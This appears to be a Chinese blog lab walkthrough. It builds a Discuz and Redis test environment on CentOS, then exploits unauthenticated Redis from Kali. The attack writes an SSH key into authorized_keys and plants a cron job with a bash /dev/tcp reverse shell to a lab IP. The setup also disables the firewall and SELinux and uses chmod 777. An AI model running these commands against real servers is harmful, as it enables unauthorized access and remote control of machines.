本文详细介绍利用 Redis 服务漏洞写入 WebShell ,通过 SSH 公钥实现免密登录,并利用计划任务反弹 Shell 的过程。
一、靶场搭建
环境简介
Centos-1:192.168.159.145
Centos-2:192.168.159.137
靶场:discuz
1、Centos2搭建discuz与redis
Discuz搭建
首先在centos-2:192.168.159.137服务器上搭建apache服务器
yum install -y httpd httpd-devel
service httpd.service start //开启apache服务
service httpd.service status//查看apache状态
如下图状态显示为active则表明apache服务器搭建成功。

yum -y install mariadb mariadb-server mariadb-libs mariadb-devel //安装mariadb数据库及其组件
service mariadb.service start //启动mariadb服务
service mariadb.service status //查看状态
netstat -an //查看端口

安装php,将php和mysql关联起来
yum install -y php yum -y install php-mysql
将下载的discuz安装包放到/var/www/html下
chown apache:apache -R upload/ //赋予所属组
chmod -R 777 upload/ //赋予可读可写可执行权限
service httpd.service restart //这里如果已经安装了httpd就重启一下服务就好
service mariadb.service restart //同上
service firewalld stop //关闭防火墙
然后在浏览器中打开http://192.168.159.137/upload/install出现discuz靶场的安装向导,点击同意进行安装。

这里初始如下图都是不可写,需要修改/etc/selinux/config,修改完重启虚拟机,reboot 重启完成后开启apache服务和mariadb服务,再次访问就是可写。

修改/etc/selinux/config
vim /etc/selinux/config

reboot 重启,再重启下http服务和mariadb服务:
service httpd.service restart //重启下http服务
service mariadb.service restart //重启mariadb服务
service firewalld stop //关闭防火墙
再次访问就是可写

点击下一步继续安装

数据库密码设置为空,因为我们没有设置密码,管理员密码任意

数据库搭建完成后,出现以下界面表示discuz靶场安装完成:

redis搭建
1、下载redis包 解压进入redis目录
2、make编译
3、然后编译完成进入/src目录
将redis-cli redis-server复制到/usr/local/bin目录下,如此可以在任意目录下运行redis服务
Make时发生错误1:

解决方案为:yum -y install gcc gcc-c++
错误2:

解决方案为: make MALLOC=libc
以上两个错误解决后仍有一些问题,查询后得知版本不兼容,因此重新下载redis其他版本

更换redis版本为5.0.8,重新编译,成功!
切换到src目录下,将redis-cli redis-server复制到/usr/local/bin目录下,如此可以在任意目录下运行redis服务。
cp redis-server /usr/local/bin
cp redis-cli /usr/local/bin

执行redis-server,出现以下界面说明服务启动成功,重新开一个终端进行连接,执行redis-cli ,出现第二张图示例说明搭建成功。


2、Centos1搭建redis
只需要安装下redis服务,重复以上操作即可。
二、利用 Redis 写入Webshell
开启服务 redis-server
redis-cli -h 192.168.159.137

利用redis写入webshell

访问成功写入

三、利用 Redis 写入 SSH 公钥进行登录
kali 192.168.159.135
靶机 192.168.159.137
kali安装redis,使用上面的redis安装包,解压后直接编译就行,编译命令:make
接着将 /src 目录下的 redis-server 和 redis-cli 复制到 /usr/local/bin 下即可。

首先在攻击机的/root/.ssh目录里生成ssh公钥key:
ssh-keygen -t rsa
选项全部默认即可

接着将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合)
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt

将key.txt文件内容写入服务端Redis的缓冲里:
cat /root/.ssh/key.txt | redis-cli -h 192.168.159.137 -x set xxx

使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/和保存文件名为authorized\_keys,并将数据保存在目标服务器硬盘上。
但是执行的时候,发现报错,提示没有这样的文件或目录。原因是centos(192.168.159.137)没有启动过ssh,所以没有那个目录,使用命令: ssh localhost即可。

redis-cli -h 192.168.159.137
config set dir /root/.ssh
config set dbfilename authorized_keys save

ssh 成功实现公钥登录

四、 利用 Redis 写入计划任务反弹shell
首先在攻击机kali上开启监听:
nc -lvp 2333

然后连接服务端的Redis,写入反弹shell的计划任务:
redis-cli -h 192.168.159.137
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.159.135/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

通过计划任务,成功反弹shell

靶机上也看到存在计划任务

使用 crontab -r删除计划任务
crontab -l 查看计划任务



6212

被折叠的 条评论
为什么被折叠?



